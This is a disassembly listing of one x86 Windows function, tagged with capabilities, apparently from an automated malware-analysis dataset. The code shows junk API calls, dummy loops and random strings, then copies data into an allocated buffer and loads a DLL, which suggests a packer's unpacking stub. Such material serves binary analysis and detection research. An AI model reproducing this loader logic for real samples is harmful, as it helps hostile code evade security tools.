Function at 0x40c762
Capabilities:
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c50
call fcn.0040a470
mov eax, dword [0x482090]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
xor eax, eax
cmp eax, 0x180
jne 0x40c797
mov ecx, dword [0x4854b4]
add ecx, 0xa231
mov dword [0x276e77c], ecx
cmp dword [0x276e77c], 0x141
jne 0x40c7b4
or dword [0x4867ac], 0xffffffff
mov dword [0x4867a8], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x40c77e
push esi
xor esi, esi
cmp esi, 0x562d05
jne 0x40c7d1
mov eax, dword [0x4830a8]
mov dword [0x276e780], eax
cmp dword [0x276e77c], 0x3c
jne 0x40c7e7
push str.hiyufeperohiwadogexep
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
inc esi
cmp esi, 0x5f6c74
jl 0x40c7bf
cmp dword [0x276e77c], 0x7c
push edi
jne 0x40c8d4
push ebx
lea eax, [ebp - 0x1c04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1c3c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
lea eax, [ebp - 0x1c40]
push eax
push ebx
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push ebx
push ebx
lea eax, [ebp - 0xc04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push str.tozaciy
call dword [sym.imp.KERNEL32.dll_FindAtomW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
xor eax, eax
mov word [ebp - 0x1c34], ax
lea edi, [ebp - 0x1c32]
stosw word es:[edi], ax
mov word [ebp - 0x1c30], ax
lea edi, [ebp - 0x1c2e]
stosw word es:[edi], ax
lea eax, [ebp - 0x1c48]
push eax
push dword [ebp - 0x1c30]
lea eax, [ebp - 0x1c38]
push dword [ebp - 0x1c34]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push ebx
lea eax, [ebp - 0x1404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push str.razezatopuremewurujoxaxodopu_wihixulewatuzubayevekijewajav__s__d__f
push ebx
call fcn.00401e22
push ebx
call fcn.0040203b
add esp, 0xc
cmp dword [0x276e77c], 0x110a
jne 0x40c9ff
push ebx
mov dword [0x276e648], ebx
mov dword [0x276e64c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x1c38]
push eax
lea eax, [ebp - 0x1c40]
push eax
lea eax, [ebp - 0x1c3c]
push eax
lea eax, [ebp - 0x1c34]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push ebx
push ebx
lea eax, [ebp - 0x1404]
push eax
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor eax, eax
mov word [ebp - 0x1c50], ax
lea edi, [ebp - 0x1c4e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x1804]
push eax
push str.simija
lea eax, [ebp - 0x1c50]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
lea eax, [ebp - 0xc04]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.00401c43
pop ecx
pop ecx
xor eax, eax
push 1
lea esi, [ebp - 0x1c20]
mov dword [ebp - 0x1c08], 7
mov dword [ebp - 0x1c0c], ebx
mov word [ebp - 0x1c1c], ax
call fcn.00401091
push ebx
push ebx
call fcn.00401c43
push ebx
push ebx
call fcn.004020ce
push ebx
push ebx
call fcn.00401c43
push ebx
call fcn.00401cd2
push ebx
call fcn.00401fc9
push ebx
call fcn.00401cd2
push 0x47fc88
push 0x486720
call fcn.00401e22
add esp, 0x2c
push 1
xor ebx, ebx
call fcn.0040104c
push dword [0x276e77c]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
mov dword [0x276e49c], eax
pop edi
cmp dword [0x276e77c], ebx
jbe 0x40ca5f
mov eax, dword [0x276e780]
mov dword [ebp - 0x1c30], eax
mov eax, 0xa231
add dword [ebp - 0x1c30], eax
mov eax, dword [ebp - 0x1c30]
mov al, byte [eax + ecx]
mov edx, dword [0x276e49c]
mov byte [edx + ecx], al
mov eax, dword [0x276e77c]
cmp eax, 0x5ab
jne 0x40ca5a
mov dword [0x276e4a0], 0x19b0
inc ecx
cmp ecx, eax
jb 0x40ca1c
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040c49d
call fcn.0040c47f
call fcn.0040c714
xor eax, eax
cmp eax, 0xd606b
jne 0x40ca87
call fcn.0040c474
inc eax
cmp eax, 0x24e87d
jl 0x40ca7b
mov esi, 0x1e4165
cmp dword [0x276e77c], 0xcc1
jne 0x40caae
push str.felahicirar
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
cmp dword [0x276e77c], 0x7c4
mov dword [0x276e4a4], 0x8e46a6f0
jne 0x40cad0
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
dec esi
jne 0x40ca94
pop esi
cmp ebx, 0x408e
jle 0x40cae8
cmp dword [ebp - 0x1c24], 0xf5bed7
jne 0x40caf1
inc ebx
cmp ebx, 0x687ed2
jl 0x40cad4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00401ab5
leave
ret